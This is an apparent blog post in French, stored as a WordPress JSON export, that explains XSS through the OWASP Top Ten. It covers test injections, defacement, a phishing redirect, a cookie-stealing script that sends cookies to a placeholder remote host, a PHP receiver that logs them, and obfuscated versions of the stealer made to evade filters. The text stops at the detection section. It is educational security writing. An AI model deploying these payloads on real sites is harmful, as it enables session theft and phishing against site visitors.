{"id":171,"date":"2014-02-01T22:21:08","date_gmt":"2014-02-01T21:21:08","guid":{"rendered":"http:\/\/www.mickael-franc.fr\/blog\/?p=171"},"modified":"2015-11-13T15:16:50","modified_gmt":"2015-11-13T14:16:50","slug":"owasp-cross-site-scripting-xss","status":"publish","type":"post","link":"https:\/\/www.mickael-franc.fr\/blog\/owasp-cross-site-scripting-xss\/","title":{"rendered":"OWASP \/ Cross-Site Scripting (XSS)"},"content":{"rendered":"<p style=\"text-align: justify;\"><a href=\"\/\/www.mickael-franc.fr\/blog\/wp-content\/uploads\/2014\/06\/xss.png\"><img loading=\"lazy\" decoding=\"async\" class=\"alignleft wp-image-237 size-full\" src=\"https:\/\/www.mickael-franc.fr\/blog\/wp-content\/uploads\/2014\/06\/xss.png\" alt=\"XSS\" width=\"150\" height=\"150\" \/><\/a>Dans ce deuxi\u00e8me article de <a title=\"Failles applicatives\" href=\"http:\/\/www.mickael-franc.fr\/blog\/failles-applicatives\/\" target=\"_blank\">la s\u00e9rie consacr\u00e9e aux failles applicatives<\/a>, j&rsquo;aborde les injections XSS au travers de l&rsquo;OWASP. Vous d\u00e9couvrirez ces failles et apprendrez \u00e0 les d\u00e9tecter. Vous verrez enfin les moyens de vous en pr\u00e9munir.<br \/>\n<!--more--><\/p>\n<h2>Introduction<\/h2>\n<p style=\"text-align: justify;\">De nombreux langages interpr\u00e9t\u00e9s existent et chacun apporte un certain nombre de fonctionnalit\u00e9s. Or, plus les fonctionnalit\u00e9s sont \u00e9tendues plus le risque de les d\u00e9tourner de leur usage dit \u201cstandard\u201d est important.<br \/>\nCouramment, nous utilisons un navigateur web pour surfer sur la toile ; cet outil interpr\u00e8te de nombreux langages informatiques diff\u00e9rents de mani\u00e8re plus ou moins transparente pour l\u2019utilisateur. Il est possible d\u2019exploiter cette caract\u00e9ristique pour des usages douteux.<br \/>\nCet article pr\u00e9sente plusieurs types d\u2019exploitations possibles via des injections XSS.<\/p>\n<h2>Rappel<\/h2>\n<p style=\"text-align: justify;\">L\u2019OWASP (Open Web Application Security Project) dispose d\u2019un projet de classification des failles les plus couramment utilis\u00e9es par des utilisateurs malintentionn\u00e9s sur Internet. Ce document est accompagn\u00e9 d&rsquo;une qualification des menaces list\u00e9es et d&rsquo;une explication sur l&rsquo;exploitation.<\/p>\n<p style=\"text-align: justify;\">Ce projet se nomme le \u201cTop Ten\u00a0\u00bb (et sort chaque ann\u00e9e si le classement \u00e9volue), il est disponible \u00e0 cette adresse : <a href=\"https:\/\/www.owasp.org\/index.php\/Category:OWASP_Top_Ten_Project\">https:\/\/www.owasp.org\/index.php\/Category:OWASP_Top_Ten_Project<\/a><\/p>\n<p style=\"text-align: justify;\">En 2010, les failles de type injections XSS arrivaient en 2\u00e8me position, tandis que cette ann\u00e9e elles arrivent en 3\u00e8me position.<\/p>\n<h2>Qualification de la menace<\/h2>\n<p style=\"text-align: justify;\">XSS o\u00f9 \u00ab Cross-Site Scripting \u00bb est l\u2019une des failles les plus r\u00e9pandues dans les sites Web dynamiques. Elle fait partie de la famille des attaques par injection.<\/p>\n<p style=\"text-align: justify;\">Le terme \u00ab Cross-Site Scripting \u00bb fait r\u00e9f\u00e9rence \u00e0 une attaque sur un site Web tiers (celui de la victime) par le biais d\u2019un autre site Web distant (celui du pirate) qui n\u2019est pas li\u00e9 \u00e0 celui de la victime. Le site de l\u2019attaquant peut servir \u00e0 deux choses :<\/p>\n<ul style=\"text-align: justify;\">\n<li>Soit de relais pour faire transiter les donn\u00e9es vol\u00e9es ;<\/li>\n<li>Soit il contient les ressources qui seront inject\u00e9es dans la page attaqu\u00e9e.<\/li>\n<\/ul>\n<p style=\"text-align: justify;\">Le but de cette attaque est d\u2019effectuer un certain nombre d\u2019actions dans le navigateur de la victime.<\/p>\n<p style=\"text-align: justify;\">Par exemple, une attaque par XSS se produit lorsqu\u2019un utilisateur mal intentionn\u00e9 envoie un code nuisible qui sera ex\u00e9cut\u00e9 par le navigateur ou l\u2019interpr\u00e9teur de la victime (HTML, XML, Flash, JavaScript, CSS, JSON, etc.) en utilisant des formulaires ou directement l\u2019URL. L\u2019exploitation de cette faille permettrait notamment d\u2019ex\u00e9cuter des scripts douteux (dans le cas d\u2019une injection JavaScript), de r\u00e9cup\u00e9rer les informations r\u00e9colt\u00e9es sur un serveur distant (cookies, contenu de la page, etc.), de rediriger la victime, de d\u00e9figurer la structure de la page, etc.<\/p>\n<table style=\"border-collapse: collapse;\" border=\"1\">\n<tbody>\n<tr>\n<td style=\"background-color: #0084d1;\" bgcolor=\"#0084D1\">\n<p dir=\"ltr\" style=\"text-align: center;\"><strong><span style=\"color: #000000;\">Agent de menace<\/span><br \/>\n<\/strong><\/p>\n<\/td>\n<td style=\"text-align: left;\" bgcolor=\"#CCCCCC\">\n<p dir=\"ltr\" style=\"text-align: center;\"><span style=\"color: #000000;\">_<\/span><\/p>\n<\/td>\n<td>\n<p dir=\"ltr\" style=\"text-align: justify;\">Toutes personnes en mesure de soumettre des donn\u00e9es (Utilisateur interne\/externe, d\u00e9veloppeur, administrateur)<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td style=\"background-color: #0084d1;\" bgcolor=\"#0084D1\">\n<p dir=\"ltr\" style=\"text-align: center;\"><strong><span style=\"color: #000000;\">Vecteur d\u2019attaque<br \/>\n<\/span> <\/strong><\/p>\n<\/td>\n<td style=\"background-color: #ff950e;\" bgcolor=\"#FF950E\">\n<p dir=\"ltr\" style=\"text-align: center;\"><span style=\"color: #000000;\">Exploitation Moyenne<\/span><\/p>\n<\/td>\n<td>\n<p dir=\"ltr\" style=\"text-align: justify;\">L\u2019attaquant soumet un contenu actif \u00e0 l\u2019application, qui sera retourn\u00e9 \u00e0 un navigateur de la victime.<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td style=\"background-color: #0084d1;\" bgcolor=\"#0084D1\">\n<p dir=\"ltr\" style=\"text-align: center;\"><strong><span style=\"color: #000000;\">Vraisemblance de la vuln\u00e9rabilit\u00e9<br \/>\n<\/span> <\/strong><\/p>\n<\/td>\n<td style=\"background-color: #f00;\" bgcolor=\"#F00\">\n<p dir=\"ltr\" style=\"text-align: center;\"><span style=\"color: #000000;\">Tr\u00e8s r\u00e9pandu<\/span><\/p>\n<\/td>\n<td>\n<p dir=\"ltr\" style=\"text-align: justify;\">XSS est la faiblesse de s\u00e9curit\u00e9 la plus r\u00e9pandue dans les applications web.<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td style=\"background-color: #0084d1;\" bgcolor=\"#0084D1\">\n<p dir=\"ltr\" style=\"text-align: center;\"><strong><span style=\"color: #000000;\">D\u00e9tection de la vuln\u00e9rabilit\u00e9<\/span><\/strong><\/p>\n<\/td>\n<td style=\"background-color: #f00;\" bgcolor=\"#F00\">\n<p dir=\"ltr\" style=\"text-align: center;\"><span style=\"color: #000000;\">Facile<br \/>\n<\/span><\/p>\n<\/td>\n<td>\n<p dir=\"ltr\" style=\"text-align: justify;\">Les failles XSS ont lieu lorsque l\u2019application g\u00e9n\u00e8re des pages contenant des donn\u00e9es soumises par le client sans les avoir valid\u00e9es ou \u00e9chapp\u00e9es au pr\u00e9alable<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td style=\"background-color: #0084d1;\" bgcolor=\"#0084D1\">\n<p dir=\"ltr\" style=\"text-align: center;\"><strong><span style=\"color: #000000;\">Impact technique<\/span><\/strong><\/p>\n<\/td>\n<td style=\"background-color: #ff950e;\" bgcolor=\"#FF950E\">\n<p dir=\"ltr\" style=\"text-align: center;\"><span style=\"color: #000000;\">Mod\u00e9r\u00e9<\/span><\/p>\n<\/td>\n<td>\n<p dir=\"ltr\" style=\"text-align: justify;\">Vol d\u2019identifiant de session, redirection du client, alt\u00e9ration visuelle du site, etc. Le script \u00e9tant d\u00e9velopp\u00e9 par l\u2019attaquant, tout est envisageable.<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td style=\"background-color: #0084d1;\" bgcolor=\"#0084D1\">\n<p dir=\"ltr\" style=\"text-align: center;\"><strong><span style=\"color: #000000;\">Impact m\u00e9tier<br \/>\n<\/span><\/strong><\/p>\n<\/td>\n<td style=\"background-color: #cccccc;\" bgcolor=\"#CCCCCC\">\n<p dir=\"ltr\" style=\"text-align: center;\"><span style=\"color: #000000;\">_<\/span><\/p>\n<\/td>\n<td>\n<p dir=\"ltr\" style=\"text-align: justify;\">Tout d\u00e9pend de l\u2019importance du syst\u00e8me affect\u00e9 pour l\u2019activit\u00e9 et de l\u2019impact d\u2019une divulgation de la vuln\u00e9rabilit\u00e9<\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>Il existe deux types d\u2019attaques XSS :<\/p>\n<ul>\n<li><strong>Reflected XSS<\/strong> (<em>non persistante<\/em>) :<\/li>\n<\/ul>\n<p>Lorsque des donn\u00e9es sont envoy\u00e9es par un client et sont affich\u00e9es telles quelles dans la page r\u00e9sultante sans \u00eatre encod\u00e9es en entit\u00e9s HTML.<\/p>\n<p><a href=\"\/\/www.mickael-franc.fr\/blog\/wp-content\/uploads\/2014\/02\/reflected_xss.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-197 size-full\" src=\"https:\/\/www.mickael-franc.fr\/blog\/wp-content\/uploads\/2014\/02\/reflected_xss.jpg\" alt=\"Reflected XSS\" width=\"677\" height=\"503\" srcset=\"https:\/\/www.mickael-franc.fr\/blog\/wp-content\/uploads\/2014\/02\/reflected_xss.jpg 677w, https:\/\/www.mickael-franc.fr\/blog\/wp-content\/uploads\/2014\/02\/reflected_xss-300x223.jpg 300w, https:\/\/www.mickael-franc.fr\/blog\/wp-content\/uploads\/2014\/02\/reflected_xss-624x464.jpg 624w\" sizes=\"auto, (max-width: 677px) 100vw, 677px\" \/><\/a><\/p>\n<ul>\n<li><strong>Stored XSS<\/strong> (<em>persistante<\/em>) :<\/li>\n<\/ul>\n<p style=\"text-align: justify;\">Lorsque des donn\u00e9es sont fournies depuis une source de donn\u00e9es quelconque (BDD, fichiers, etc.) et sont affich\u00e9es telles quelles dans la page r\u00e9sultante sans \u00eatre encod\u00e9es en entit\u00e9s HTML. L\u2019impact d\u2019une XSS stock\u00e9e est d\u2019autant plus grave car elle touche tous les visiteurs de la page pi\u00e9g\u00e9e.<\/p>\n<p><a href=\"\/\/www.mickael-franc.fr\/blog\/wp-content\/uploads\/2014\/02\/stored_xss.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-199 size-full\" src=\"https:\/\/www.mickael-franc.fr\/blog\/wp-content\/uploads\/2014\/02\/stored_xss.jpg\" alt=\"Stored XSS\" width=\"699\" height=\"479\" srcset=\"https:\/\/www.mickael-franc.fr\/blog\/wp-content\/uploads\/2014\/02\/stored_xss.jpg 699w, https:\/\/www.mickael-franc.fr\/blog\/wp-content\/uploads\/2014\/02\/stored_xss-300x206.jpg 300w, https:\/\/www.mickael-franc.fr\/blog\/wp-content\/uploads\/2014\/02\/stored_xss-624x428.jpg 624w\" sizes=\"auto, (max-width: 699px) 100vw, 699px\" \/><\/a><\/p>\n<p style=\"text-align: justify;\">Sachant que le r\u00f4le d\u2019un navigateur est d\u2019interpr\u00e9ter du code source afin d\u2019obtenir un rendu visuel, il n\u2019est pas vraiment possible de brider une tentative d\u2019attaque XSS. Cela n\u00e9cessiterait de tronquer les fonctionnalit\u00e9s offertes par notre navigateur ou interpr\u00e9teur en d\u00e9sactivant certaines fonctionnalit\u00e9s n\u00e9cessaires au fonctionnement d\u2019un site.<\/p>\n<p>Par exemple :<\/p>\n<ul>\n<li>D\u00e9sactiver l\u2019interpr\u00e9tation de CSS emp\u00eachera le navigateur d&rsquo;afficher correctement une page HTML<\/li>\n<\/ul>\n<ul>\n<li>D\u00e9sactiver l\u2019interpr\u00e9tation du JavaScript bloquera tout comportement interactif mis en place (modification dynamique de la page, appels distants asynchrones, etc.)<\/li>\n<\/ul>\n<p>Il est difficile de trouver un discriminant valable qui permettrait de d\u00e9finir si une portion de code est dite \u201cbienfaisante\u201d ou \u201cn\u00e9faste\u201d.<\/p>\n<h2>M\u00e9thodes de test et explications<\/h2>\n<p style=\"text-align: justify;\">Pour v\u00e9rifier la pr\u00e9sence d\u2019une telle faille sur un site vuln\u00e9rable, il suffit simplement d\u2019injecter :<\/p>\n<h3 style=\"text-align: justify;\">1 &#8211; Soit des caract\u00e8res ayant une signification particuli\u00e8re dans l\u2019interpr\u00e9teur vis\u00e9.<\/h3>\n<p style=\"text-align: justify;\"><strong>Attention :<\/strong> Les caract\u00e8res \u00e0 injecter <span style=\"text-decoration: underline;\">d\u00e9pendent du langage interpr\u00e9t\u00e9<\/span> !<\/p>\n<p style=\"text-align: justify;\">Par exemple en HTML, il s\u2019agit de :<\/p>\n<ul style=\"text-align: justify;\">\n<li><code>&amp;<\/code> (ampersand)<\/li>\n<li><code>\"<\/code> (double quote)<\/li>\n<li><code>'<\/code> (single quote)<\/li>\n<li><code> &lt; <\/code> (less than)<\/li>\n<li><code> &gt; <\/code> (greater than)<\/li>\n<\/ul>\n<p style=\"text-align: justify;\">Les sites Web reposent sur le langage HTML, alors que des WebServices peuvent reposer sur d\u2019autres langages comme :<\/p>\n<ul style=\"text-align: justify;\">\n<li>Le langage XML (WS via SOAP), il s\u2019agit d\u2019un langage proche du HTML, ici les caract\u00e8res significatifs sont les m\u00eames qu\u2019en HTML.<\/li>\n<\/ul>\n<ul style=\"text-align: justify;\">\n<li>Le langage JSON (WS REST via JSON ), les caract\u00e8res significatifs ne sont pas les m\u00eames qu\u2019en HTML ! Il y a en plus les caract\u00e8res suivant :\n<ul>\n<li><code>{<\/code><\/li>\n<li><code>}<\/code><\/li>\n<li><code>[<\/code><\/li>\n<li><code>]<\/code><\/li>\n<li><code>:<\/code><\/li>\n<li><code>,<\/code><\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<p style=\"text-align: justify;\">Il est donc n\u00e9cessaire de prendre en compte ce point pour conna\u00eetre les caract\u00e8res interpr\u00e9tables et dangereux.<\/p>\n<h3 style=\"text-align: justify;\">2 &#8211; Soit directement du code interpr\u00e9table (HTML, JavaScript, Flash, CSS, etc.)<\/h3>\n<p style=\"text-align: justify;\">Une fois choisi, le code doit \u00eatre inject\u00e9 dans toutes les entr\u00e9es utilisateurs possibles :<\/p>\n<ul style=\"text-align: justify;\">\n<li>Param\u00e8tre HTTP GET \/ POST<\/li>\n<li>Cookie (une attaque par le cookie sera possible seulement si le contenu est \u201curl encod\u00e9\u201d)<\/li>\n<li>Champs de formulaire<\/li>\n<li>Source de donn\u00e9es quelconque utilis\u00e9e par le site (fichiers, donn\u00e9es \u00e9chang\u00e9es, BDD, flux, etc.)<\/li>\n<\/ul>\n<p style=\"text-align: justify;\"><span style=\"text-decoration: underline;\">Remarque :<\/span> il para\u00eet \u00e9trange de s\u00e9curiser les donn\u00e9es en entr\u00e9es dans un flux de donn\u00e9es (au sens large, ex : fichiers, donn\u00e9es \u00e9chang\u00e9es via une API, BDD, etc.) si on les prot\u00e8ge \u00e0 l\u2019affichage ou vice-versa. Mais imaginons que l\u2019on doive donner une copie de notre flux de donn\u00e9es \u00e0 un partenaire commercial ou l\u2019inverse. Si une des couches n\u2019est pas prot\u00e9g\u00e9e, c\u2019est l\u2019application qui tombe.<\/p>\n<p style=\"text-align: justify;\">Pour savoir si la faille est av\u00e9r\u00e9e, il faut v\u00e9rifier si le script est interpr\u00e9t\u00e9 cot\u00e9 navigateur ou interpr\u00e9teur. Pour cela il suffit d\u2019analyser la r\u00e9ponse du serveur et de v\u00e9rifier si les \u00e9l\u00e9ments inject\u00e9s n\u2019ont pas \u00e9t\u00e9 r\u00e9-encod\u00e9s pour les rendre non interpr\u00e9table.<\/p>\n<p style=\"text-align: justify;\"><span style=\"text-decoration: underline;\">Remarque importante :<\/span> pour simplifier les exemples qui suivent, nous allons nous concentrer sur les interpr\u00e9teurs HTML, CSS, JavaScript (navigateur Web standard).<\/p>\n<h2>Exemples d\u2019attaques<\/h2>\n<p><span style=\"text-decoration: underline;\">Pr\u00e9dicat :<\/span> les exemples de code suivants sont inject\u00e9s dans des entr\u00e9es utilisateur sur une application vuln\u00e9rable.<\/p>\n<h3><strong>Tests basiques<\/strong><\/h3>\n<p>Par exemple dans un formulaire HTML ou l&rsquo;un des champs est vuln\u00e9rable, il suffit de le remplir comme ceci :<\/p>\n<table>\n<tbody>\n<tr>\n<td><strong>Langage utilis\u00e9<\/strong><\/td>\n<td><strong>Exemple de code inject\u00e9<\/strong><\/td>\n<\/tr>\n<tr>\n<td>Javascript<\/td>\n<td>\u00a0<code class=\"spip_code\">&lt;script type=\u2019text\/javascript\u2019&gt; alert(\u2018Vuln\u00e9rabilit\u00e9 d\u00e9tect\u00e9e : faille XSS\u2019); &lt;\/script&gt;<\/code><\/td>\n<\/tr>\n<tr>\n<td>CSS<\/td>\n<td><code class=\"spip_code\">&lt;style type=\"text\/css\"&gt; body { background-color: red; background-image: none; } &lt;\/style&gt;<\/code><\/td>\n<\/tr>\n<tr>\n<td>HTML<\/td>\n<td><code class=\"spip_code\">&lt;b&gt;Si ce texte est en gras, c\u2019est que le site est potentiellement vuln\u00e9rable&lt;\/b&gt;<\/code><\/td>\n<\/tr>\n<tr>\n<td>HTML + CSS<\/td>\n<td><code class=\"spip_code\">&lt;b style=\u201dtext-decoration:blink;\u201d&gt; Si ce texte est en gras et clignote, c\u2019est que le site est vuln\u00e9rable &lt;\/b&gt;<\/code><\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p style=\"text-align: justify;\">Pour savoir si la faille est av\u00e9r\u00e9e, il faut v\u00e9rifier si le script est interpr\u00e9t\u00e9 cot\u00e9 navigateur :<\/p>\n<ol style=\"text-align: justify;\">\n<li>Le premier exemple affichera une fen\u00eatre de type pop-up avec le texte suivant : \u00ab Vuln\u00e9rabilit\u00e9 d\u00e9tect\u00e9 : faille XSS \u00bb ;<\/li>\n<li>le second changera la couleur du fond de la page en rouge et enl\u00e8vera (si existante) l\u2019image de fond ;<\/li>\n<li>le troisi\u00e8me affichera \u00ab Si ce texte est en gras, c\u2019est que le site est potentiellement vuln\u00e9rable \u00bb en gras. Dans ce cas, il est aussi possible que l\u2019application supporte simplement la contribution riche. Le support des balises HTML n\u2019est toutefois pas la solution la plus optimale ;<\/li>\n<li>le dernier affichera \u00ab Si ce texte est en gras et clignote, c\u2019est que le site est vuln\u00e9rable \u00bb en gras et clignotant.<\/li>\n<\/ol>\n<p style=\"text-align: justify;\"><span style=\"text-decoration: underline;\">Remarque importante :<\/span> La faille est d\u2019autant plus grave si la saisie utilisateur est enregistr\u00e9e en base de donn\u00e9es (ex: saisie d\u2019un commentaire). En effet, le navigateur de chaque visiteur interpr\u00e9tera le code malicieux sur la page infect\u00e9e, il s\u2019agit ici d\u2019une XSS stock\u00e9e.<\/p>\n<h3><strong>Destruction de la page (defacement)<\/strong><\/h3>\n<pre>&lt;script type=\"text\/javascript\"&gt;\r\n  msg = \"&lt;p style=\u2018text-decoration:blink;color:#F00;\u2019&gt; Vous \u00eates victime d\u2019une attaque XSS ! &lt;\/p&gt;\";\r\n  document.write(msg);\r\n&lt;\/script&gt;<\/pre>\n<p style=\"text-align: justify;\">Ici le contenu de la page est remplac\u00e9 par la phrase : \u00ab Vous \u00eates victime d\u2019une attaque XSS ! \u00bb clignotant en rouge.<\/p>\n<h3><strong>Redirection<\/strong><\/h3>\n<pre><code class=\"javascript\"><\/code>&lt;script type=\"text\/javascript\"&gt;\r\n\u00a0 document.location = \"http:\/\/www.serveur-distant.net\/page-piege.php\";\r\n&lt;\/script&gt;<\/pre>\n<p style=\"text-align: justify;\">Cette redirection peut amener sur un site pi\u00e9g\u00e9, par exemple une copie du site vuln\u00e9rable. Cette attaque par <em>phishing<\/em> permettrait de voler les identifiants d\u2019un utilisateur dupe.<\/p>\n<h3><strong>Vol de cookie (Cookie Stealing)<\/strong><\/h3>\n<pre><code class=\"javascript\"><\/code>&lt;script type=\"text\/javascript\"&gt;\r\n  var addr = \u201chttp:\/\/www.serveur-distant.net\/page-piege.php?cookie=\u201d + document.cookie;\r\n  var imgTag = document.createElement(\"img\");\r\n  imgTag.setAttribute(\"src\",addr);\r\n  document.body.appendChild(imgTag);\r\n&lt;\/script&gt;<\/pre>\n<p style=\"text-align: justify;\">Lorsque le navigateur interpr\u00e8te le script, il ajoute \u00e0 l\u2019arbre DOM un \u00e9l\u00e9ment image dans le corps de la page. Le navigateur requ\u00eatera ensuite le serveur afin de r\u00e9cup\u00e9rer cette soi-disant \u201cimage\u201d, sauf que cette ressource n\u2019existe pas : il s\u2019agit d\u2019un subterfuge pour voler l\u2019ensemble des cookies associ\u00e9s au domaine courant. Ce serveur distant stockera le cookie en base et l\u2019utilisateur malveillant pourra g\u00e9n\u00e9rer le cookie dans son navigateur avant d\u2019acc\u00e9der au compte de la victime.<\/p>\n<p style=\"text-align: justify;\"><span style=\"text-decoration: underline;\">Remarque importante :<\/span><\/p>\n<p style=\"text-align: justify;\">Un cookie est associ\u00e9 \u00e0 un nom de domaine, il est donc obligatoire d\u2019infecter le site cibl\u00e9 par une attaque pour extraire (via un script) les cookies de sessions utilisateurs. L\u2019utilisation d\u2019une image (bien s\u00fbr invisible : de 0 pixel ou ressource inexistante) permet d\u2019interroger le serveur de l\u2019attaquant de mani\u00e8re silencieuse. Un appel Ajax \/ XHR (Xml Http Request) aurait \u00e9t\u00e9 envisageable, mais il existe des politiques de restriction d\u2019appel Ajax depuis un autre domaine (cross-domain).<\/p>\n<p style=\"text-align: justify;\">Cette politique de s\u00e9curit\u00e9 \/ m\u00e9canisme se nomme : \u00ab\u00a0<em>Same Origin Policy\u00a0\u00bb<\/em> (cf: <a href=\"http:\/\/en.wikipedia.org\/wiki\/Same_origin_policy\">http:\/\/en.wikipedia.org\/wiki\/Same_origin_policy<\/a>)<\/p>\n<p style=\"text-align: justify;\">Sinon, pour qu\u2019un navigateur n\u2019interdise pas l\u2019appel XHR cross-domain, il faut :<\/p>\n<ul>\n<li style=\"text-align: justify;\">Soit passer par un proxy (accessible sur le m\u00eame domaine) qui transmettra la requ\u00eate ;<\/li>\n<li style=\"text-align: justify;\">Soit utiliser le m\u00e9canisme nomm\u00e9 <em>JSON-P<\/em> (Interface s\u00e9curis\u00e9e d\u2019appel Ajax cross-domain, cf : <a href=\"http:\/\/json-p.org\/\">http:\/\/json-p.org\/<\/a>) ;<\/li>\n<li style=\"text-align: justify;\">Soit utiliser la nouvelle fonctionnalit\u00e9 impl\u00e9ment\u00e9e dans HTML5 : Cross-Origin Resource Sharing (CORS) : <a href=\"http:\/\/www.w3.org\/TR\/cors\/\">http:\/\/www.w3.org\/TR\/cors\/<\/a>.<\/li>\n<\/ul>\n<p style=\"text-align: justify;\">Voici un exemple basique de script pouvant \u00eatre h\u00e9berg\u00e9 sur le serveur pirate :<\/p>\n<pre><code class=\"php\">&lt;?php\r\n $cookie_id = isset($_GET['cookie']) ? sprintf(\"Cookie ID received : %s\\n\",$_GET['cookie']) : \"No cookie in GET parameter\\n\";\r\n $handle = fopen('trace.log', 'a+');\r\n fputs($handle, $cookie_id, 1024);\r\n?&gt;\r\n<\/code><\/pre>\n<p style=\"text-align: justify;\">Ce script va simplement enregistrer le cookie des victimes de la faille XSS dans un fichier texte.<\/p>\n<h3><strong>Exemple via HTML5<\/strong><\/h3>\n<p style=\"text-align: justify;\">De nombreux exemples sont disponibles depuis l\u2019adresse suivante : <a href=\"http:\/\/html5sec.org\/#html5\">http:\/\/html5sec.org\/#html5<\/a><\/p>\n<h2>Complexifier la d\u00e9couverte d\u2019une XSS<\/h2>\n<h3><strong>Technique d\u2019obfuscation<\/strong><\/h3>\n<p style=\"text-align: justify;\">Comme je le disais pr\u00e9c\u00e9demment, une XSS aura un impact plus important si elle r\u00e9ussit \u00e0 \u00eatre stock\u00e9e sur le serveur distant dans une base de donn\u00e9es (dans les commentaires d\u2019un article par exemple), ce type d\u2019exploitation est nomm\u00e9e \u201cStored XSS\u201d.<\/p>\n<p style=\"text-align: justify;\">La deuxi\u00e8me phase consiste \u00e0 brouiller les pistes en rendant moins lisible (non intelligible) le code inject\u00e9, cette technique s\u2019appelle l\u2019obfuscation.<\/p>\n<p style=\"text-align: justify;\">Reprenons notre exemple pr\u00e9c\u00e9dent : celui qui nous permettait de voler le cookie d\u2019une victime et partons du principe que nous avons trouv\u00e9 un vecteur d\u2019attaque sur un site lambda pour stocker notre XSS en JavaScript. Une premi\u00e8re \u00e9tape consisterait \u00e0 cacher l&rsquo;URL du serveur distant (qui r\u00e9ceptionne le cookie vol\u00e9), en encodant la cha\u00eene de caract\u00e8res sous sa forme <em>d\u00e9cimale<\/em> dans la table ASCII. Le script JavaScript suivant, automatise la proc\u00e9dure d\u2019encodage :<\/p>\n<pre><code class=\"javascript\">var str = \"http:\/\/www.serveur-distant.net\/page-piege.php?cookie=\";\r\nvar charCode = \"\";\r\nfor (var i = 0; i &lt; str.length; ++i)\r\n<em>var c = str.charCodeAt(i);\r\ncharCode += (0 != i ? \", \" : \"\") + c;\r\n<\/em>console.log(charCode);\r\n<\/code><\/pre>\n<p>Le script pr\u00e9c\u00e9dent nous retourne la cha\u00eene suivante qui remplacera l\u2019URL du serveur :<code class=\"javascript\"><\/code><\/p>\n<pre><code class=\"javascript\">String.fromCharCode(104, 116, 116, 112, 58, 47, 47, 119, 119, 119, 46, 115, 101, 114, 118, 101, 117, 114, 45, 100, 105, 115, 116, 97, 110, 116, 46, 110, 101, 116, 47, 112, 97, 103, 101, 45, 112, 105, 101, 103, 101, 46, 112, 104, 112, 63, 99, 111, 111, 107, 105, 101, 61);\r\n<\/code><\/pre>\n<p style=\"text-align: justify;\"><span style=\"text-decoration: underline;\">Note importante :<\/span> le gros avantage de cr\u00e9er une cha\u00eene de caract\u00e8res sous cette forme est le fait de n\u2019utiliser aucune <em>quote<\/em> (simple ou double). Ainsi il est possible d\u2019outrepasser les m\u00e9canismes de protection uniquement bas\u00e9s sur le filtrage de ces deux caract\u00e8res. De plus, presque tous les langages disposent de ces fonctions : XPATH, SQL, etc\u2026<\/p>\n<p style=\"text-align: justify;\"><span style=\"text-decoration: underline;\">Autre possibilit\u00e9 :<\/span><\/p>\n<p style=\"text-align: justify;\">Transformer cette cha\u00eene de caract\u00e8res dans sa repr\u00e9sentation <em>hexad\u00e9cimale<\/em> (toujours selon la table ASCII) pour obtenir la cha\u00eene suivante :<\/p>\n<pre><code class=\"javascript\">\"\\x68\\x74\\x74\\x70\\x3A\\x2F\\x2F\\x77\\x77\\x77\\x2E\\x73\\x65\\x72\\x76\\x65\\x75\\x72\\x2D\\x64\\x69\\x73\\x74\\x61\\x6E\\x74\\x2E\\x6E\\x65\\x74\\x2F\\x70\\x61\\x67\\x65\\x2D\\x70\\x69\\x65\\x67\\x65\\x2E\\x70\\x68\\x70\\x3F\\x63\\x6F\\x6F\\x6B\\x69\\x65\\x3D\" <\/code><\/pre>\n<p style=\"text-align: justify;\">Le langage JavaScript dispose de nombreuses subtilit\u00e9s qui permettent d\u2019aller bien plus loin dans l\u2019obfuscation, certains outils sont disponibles en ligne directement tel que : http:\/\/javascriptobfuscator.com\/<\/p>\n<p style=\"text-align: justify;\">En utilisant l\u2019outil fourni par le lien pr\u00e9c\u00e9dent mon XSS (une fois obfusqu\u00e9) serait sous la forme suivante :<\/p>\n<pre style=\"text-align: justify;\"><code class=\"javascript\"><\/code><code class=\"javascript\">var _0x6edc=[\"\\x68\\x74\\x74\\x70\\x3A\\x2F\\x2F\\x77\\x77\\x77\\x2E\\x73\\x65\\x72\\x76\\x65\\x75\\x72\\x2D\\x64\\x69\\x73\\x74\\x61\\x6E\\x74\\x2E\\x6E\\x65\\x74\\x2F\\x70\\x61\\x67\\x65\\x2D\\x70\\x69\\x65\\x67\\x65\\x2E\\x70\\x68\\x70\\x3F\\x63\\x6F\\x6F\\x6B\\x69\\x65\\x3D\",\"\\x63\\x6F\\x6F\\x6B\\x69\\x65\",\"\\x69\\x6D\\x67\",\"\\x63\\x72\\x65\\x61\\x74\\x65\\x45\\x6C\\x65\\x6D\\x65\\x6E\\x74\",\"\\x73\\x72\\x63\",\"\\x73\\x65\\x74\\x41\\x74\\x74\\x72\\x69\\x62\\x75\\x74\\x65\",\"\\x61\\x70\\x70\\x65\\x6E\\x64\\x43\\x68\\x69\\x6C\\x64\",\"\\x62\\x6F\\x64\\x79\"];var addr=_0x6edc[0]+document[_0x6edc[1]];var imgTag=document[_0x6edc[3]](_0x6edc[2]);imgTag[_0x6edc[5]](_0x6edc[4],addr);document[_0x6edc[7]][_0x6edc[6]](imgTag);<\/code><\/pre>\n<h3><strong>Technique de d\u00e9sobfuscation<\/strong><\/h3>\n<p style=\"text-align: justify;\">Un script JavaScript simple et obfusqu\u00e9 peut \u00eatre rapidement analys\u00e9 et devenir compr\u00e9hensible mais il arrive rapidement un moment o\u00f9 notre cerveau n\u2019est plus capable de le \u201cd\u00e9sassembler\u201d.<\/p>\n<p style=\"text-align: justify;\">Pour cela il existe des outils tel que : \u201cJavaScript Deobfuscator\u201c, un plugin Firefox qui permet une fois le script JavaScript compil\u00e9, de nous montrer ce qui est r\u00e9ellement ex\u00e9cut\u00e9 par le moteur de notre navigateur (tr\u00e8s pratique dans un cas concret).<\/p>\n<p style=\"text-align: justify;\">Vous pouvez le t\u00e9l\u00e9charger sur le site de la fondation Mozilla : <a href=\"https:\/\/addons.mozilla.org\/en-US\/firefox\/addon\/javascript-deobfuscator\/\">https:\/\/addons.mozilla.org\/en-US\/firefox\/addon\/javascript-deobfuscator\/<\/a><\/p>\n<h2>Comment d\u00e9tecter si notre application est vuln\u00e9rable 